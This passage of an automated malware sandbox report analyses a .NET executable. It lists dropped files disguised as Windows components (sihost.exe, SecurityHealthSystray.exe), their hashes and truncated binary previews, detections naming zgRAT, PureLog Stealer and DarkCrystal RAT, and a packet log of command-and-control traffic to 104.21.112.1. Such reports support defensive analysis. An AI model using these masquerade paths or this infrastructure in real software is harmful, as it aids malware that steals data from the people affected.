SSDEEP:	49152:xq9/4rTuPInOgODSegbQddnpKSVVvncFn8:xGPIr1UDhv
MD5:	77967721CE1C8B3F0EB800BD33527897
SHA1:	6CACE6DB7C38EC0F438B9D7A2A323A90E703A904
SHA-256:	524FDB6F99BA45BA54D3445BFFB08D32F63E0642516DA16D4B31B8BA22325BD7
SHA-512:	5C0C90952462704C879125EBF9102796608DD7D8722F84183706BCB4748057ED23894E00F1D6B078AB8D8E7089B818CF9FDE7090302E83B5D0431418EC833165
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?.qg................................. ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B........................H.......L...\|..............7............................................0..........(.... ........8........E....)...=..........8$...(.... ....~....{....:....& ....8....(.... ........8....(.... ....~....{....:....& ....8........0.......... ........8........E........f...1...v...Z...8........~....(T...~....(X... ....?>... ....8....~....:... ....~....{....:....& ....8....r...ps....z...... ....8q...~....(L... .... .... ....s....~....(P....... ....~....{....:1...& ....8&.....(.

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Reputation:	unknown
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\CSCE2A537B39618441DAC64E34137FF17.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	4.435108676655666
Encrypted:	false
SSDEEP:	24:OBxOysuZhN7jSjRzPNnqNdt4+lEbNFjMyi07:COulajfqTSfbNtme
MD5:	931E1E72E561761F8A74F57989D1EA0A
SHA1:	B66268B9D02EC855EB91A5018C43049B4458AB16
SHA-256:	093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
SHA-512:	1D05A9BB5FA990F83BE88361D0CAC286AC8B1A2A010DB2D3C5812FB507663F7C09AE4CADE772502011883A549F5B4E18B20ACF3FE5462901B40ABCC248C98770
Malicious:	false
Reputation:	unknown
Preview:	.... ...........................\|...<...............0...........\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...\.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <securi

C:\Windows\System32\SecurityHealthSystray.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.9694503188712393
Encrypted:	false
SSDEEP:	48:6opjPtqM7Jt8Bs3FJsdcV4MKe27c6lDvqBHGOulajfqXSfbNtm:zP5Pc+Vx9McevkgcjRzNt
MD5:	856585EB7F943E8C4B8ABCAB6734A5C4
SHA1:	386A22AA3D306AC7D19BE82B678741AB0FF6E3F9
SHA-256:	90CE760C79FDBAE1D69CC563400392CFECEA7965C0FC64C5089CF7B5C268657C
SHA-512:	44A4824F3110E39B8BED421F57044E69BEB1D2A6D49033B8E5F214DDB0E4673CB2B4AA967DBDB3DEE61CC38F77CFDEB014AE016DC514F227282458CF626C9AC8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....~g.............................'... ...@....@.. ....................................@.................................d'..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..<.............................................................(.....0..!.......r...pre..p.{....(....(....&..&......................0..........ri..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings....4.......#US.........#GUID....... ...#Blob...........WU........%3................................................................

C:\Windows\apppatch\CustomSDB\66fc9ff0ee96c2

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	5.122002213406651
Encrypted:	false
SSDEEP:	3:vQNRLNH5x0czK24kA0uBimn:oNRL6cmCA0udn
MD5:	1C6D7708BD775C663BB667D96C2540CC
SHA1:	8B0D29D94CED2778D7DC8D97A88698528F7D0B91
SHA-256:	E0CF6B0BA977F3D507CFC3A558305C50FA23609EAB547AF036EB03B8295E955F
SHA-512:	71E00C94E67C7FA7AA79AC1E28092C6743053807180C764236E7389D202F1F433C7B375DAB4DE99AFD5945A8C163D911F12F22A8CE996F89E5FAE3C42A50487C
Malicious:	false
Reputation:	unknown
Preview:	VWU0mwsh2FXqZY0s9pHhRdVtL4TetyNBoybNlqZAupQKSeVCUHzXeUv

C:\Windows\apppatch\CustomSDB\sihost.exe

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2025984
Entropy (8bit):	7.5739640210308465
Encrypted:	false
SSDEEP:	49152:xq9/4rTuPInOgODSegbQddnpKSVVvncFn8:xGPIr1UDhv
MD5:	77967721CE1C8B3F0EB800BD33527897
SHA1:	6CACE6DB7C38EC0F438B9D7A2A323A90E703A904
SHA-256:	524FDB6F99BA45BA54D3445BFFB08D32F63E0642516DA16D4B31B8BA22325BD7
SHA-512:	5C0C90952462704C879125EBF9102796608DD7D8722F84183706BCB4748057ED23894E00F1D6B078AB8D8E7089B818CF9FDE7090302E83B5D0431418EC833165
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\apppatch\CustomSDB\sihost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\apppatch\CustomSDB\sihost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\apppatch\CustomSDB\sihost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\apppatch\CustomSDB\sihost.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?.qg................................. ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B........................H.......L...\|..............7............................................0..........(.... ........8........E....)...=..........8$...(.... ....~....{....:....& ....8....(.... ........8....(.... ....~....{....:....& ....8........0.......... ........8........E........f...1...v...Z...8........~....(T...~....(X... ....?>... ....8....~....:... ....~....{....:....& ....8....r...ps....z...... ....8q...~....(L... .... .... ....s....~....(P....... ....~....{....:1...& ....8&.....(.

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.802135960853257
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXwVTtQueRuUXuRqEKvoP2Rzvj:Vx993DEUftBFOlE1U
MD5:	3CB46CD919B4DA67498BEE55CA2C32FA
SHA1:	A0312B1927B9A5DB0536B9E52E1C86234E1FA8C7
SHA-256:	0270838532279E245CD0991FFE2E384219CBAEACDF1C5539285458C64981722F
SHA-512:	E95890C13D7FB40986B21F6E54D354D78EA09395D5F2B1A3131473BD050FBF6EEF53A6C2F1A2311E5406FF10A4777D7FF01E81127340D675E68E457503F310B9
Malicious:	false
Reputation:	unknown
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 08/01/2025 12:21:43..12:21:43, error: 0x80072746.12:21:48, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	3.943483543059487
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	wxl1r0lntg.exe
File size:	11'304'960 bytes
MD5:	55672946ffc3fa0b0c7670bf37d45225
SHA1:	669cba1aad9659aeff1a94b584b0e7ad3acb7c79
SHA256:	386878a415d3edac8530e3b99769b40759bd105e3758b2c68887440e8890ee55
SHA512:	24a9b4461cd2b6942c681a70a9aea88b4715d8f42498ae546453739bae1faab20ce7ec9a248be35141cabc715aaf932a2294bc3fdd228d58fee7fd6e9343e6e7
SSDEEP:	49152:Y7dvDhzETOIntW9y3yP2QAuxQzxEzwYjiwVTkO2kZBtk8hsuIm49DWm/S52LKN1o:
TLSH:	27B6F82439FF501DB3B3AEA95FD8B8EF995EF673270A60A9206103464713D81DD82739
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....qg.................P... ......^k... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xec6b5e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6771AB80 [Sun Dec 29 20:05:20 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:	v2.0.50727
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac6b10	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xac8000	0x2c8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xaca000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xac4b64	0xac5000	d323960f8c91b22946a71f0067e90db3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xac8000	0x2c8	0x1000	2b35e2043eba53d3eb7c3408e7dfe118	False	0.07958984375	data	0.723095838056564	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xaca000	0xc	0x1000	452c48e483f5fe4bb6f9adcceaa5ee38	False	0.0087890625	data	0.015920183265625623	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xac8058	0x26c	data			0.4532258064516129

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-08T17:12:56.629250+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.5	49853	104.21.112.1	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 17:12:55.772223949 CET	49853	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:55.777044058 CET	80	49853	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:55.777127981 CET	49853	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:55.777849913 CET	49853	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:55.782649994 CET	80	49853	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:56.133930922 CET	49853	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:56.138773918 CET	80	49853	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:56.495764017 CET	80	49853	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:56.629250050 CET	49853	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:56.761533976 CET	80	49853	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:56.761555910 CET	80	49853	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:56.761651039 CET	49853	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:57.501565933 CET	49853	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:57.508594036 CET	80	49853	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:57.603087902 CET	80	49853	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:57.603282928 CET	49853	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:57.608036041 CET	80	49853	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:57.773102999 CET	49862	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:57.777895927 CET	80	49862	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:57.778028011 CET	49862	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:57.778233051 CET	49862	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:57.782979965 CET	80	49862	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:57.853785992 CET	80	49853	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:57.924593925 CET	49853	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:58.103420973 CET	49853	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:58.104671001 CET	49863	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:58.108357906 CET	80	49853	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.108413935 CET	49853	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:58.109456062 CET	80	49863	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.109536886 CET	49863	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:58.109673977 CET	49863	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:58.114418983 CET	80	49863	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.129482985 CET	49862	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:58.134331942 CET	80	49862	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.134336948 CET	80	49862	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.134341955 CET	80	49862	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.223294973 CET	80	49862	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.316740990 CET	49862	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:58.453341007 CET	80	49862	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.457756996 CET	49863	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:58.462527990 CET	80	49863	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.462671995 CET	80	49863	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.519871950 CET	49862	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:58.563843966 CET	80	49863	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.629292965 CET	49863	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:58.833919048 CET	80	49863	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.903557062 CET	49862	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:58.903558016 CET	49863	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:58.908416033 CET	80	49863	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.908613920 CET	80	49862	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:58.909025908 CET	49862	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:59.000051975 CET	80	49863	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:59.000236034 CET	49863	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:59.005465031 CET	80	49863	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:59.005469084 CET	80	49863	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:59.005486965 CET	80	49863	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:59.375204086 CET	80	49863	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:59.441786051 CET	49863	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:59.835171938 CET	49863	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:59.836218119 CET	49874	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:59.840171099 CET	80	49863	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:59.840219975 CET	49863	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:59.841048956 CET	80	49874	104.21.112.1	192.168.2.5
Jan 8, 2025 17:12:59.841125011 CET	49874	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:59.841362953 CET	49874	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:12:59.846141100 CET	80	49874	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:00.192353010 CET	49874	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:00.197228909 CET	80	49874	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:00.197242975 CET	80	49874	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:00.197254896 CET	80	49874	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:00.304465055 CET	80	49874	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:00.396661997 CET	49874	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:00.563951969 CET	80	49874	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:00.738675117 CET	49874	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:01.356400013 CET	49874	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:01.357279062 CET	49881	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:01.362771034 CET	80	49874	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:01.362864971 CET	49874	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:01.364259005 CET	80	49881	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:01.364475012 CET	49881	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:01.364475012 CET	49881	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:01.369294882 CET	80	49881	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:01.724065065 CET	49881	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:01.729686975 CET	80	49881	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:01.729701996 CET	80	49881	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:01.729712009 CET	80	49881	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:01.828187943 CET	80	49881	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:01.942048073 CET	49881	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:02.078200102 CET	80	49881	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:02.238620043 CET	49881	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:02.553423882 CET	49888	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:02.558295012 CET	80	49888	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:02.558398962 CET	49888	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:02.558707952 CET	49888	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:02.563522100 CET	80	49888	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:02.658467054 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:02.663290977 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:02.663366079 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:02.663609982 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:02.664066076 CET	49881	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:02.666479111 CET	49888	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:02.668366909 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:02.714485884 CET	80	49888	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:02.959408045 CET	80	49888	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:02.959479094 CET	49888	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.020422935 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.025309086 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.025315046 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.025365114 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.025376081 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.025381088 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.025391102 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.025429964 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.025438070 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.025440931 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.025454044 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.025484085 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.025491953 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.025501966 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.025515079 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.025531054 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.025540113 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.025542974 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.025573015 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.025609970 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.030227900 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.030242920 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.030257940 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.030297041 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.030322075 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.030375957 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.030388117 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.030427933 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.030436039 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.030448914 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.030489922 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.044456959 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.044651031 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.049555063 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.049648046 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.049853086 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.049865961 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.049877882 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.049902916 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.049915075 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.049930096 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.049953938 CET	80	49889	104.21.112.1	192.168.2.5
Jan 8, 2025 17:13:03.049963951 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.050004005 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.050018072 CET	49889	80	192.168.2.5	104.21.112.1
Jan 8, 2025 17:13:03.050060034 CET	80	49889	104.21.112.1	192.168.2.5
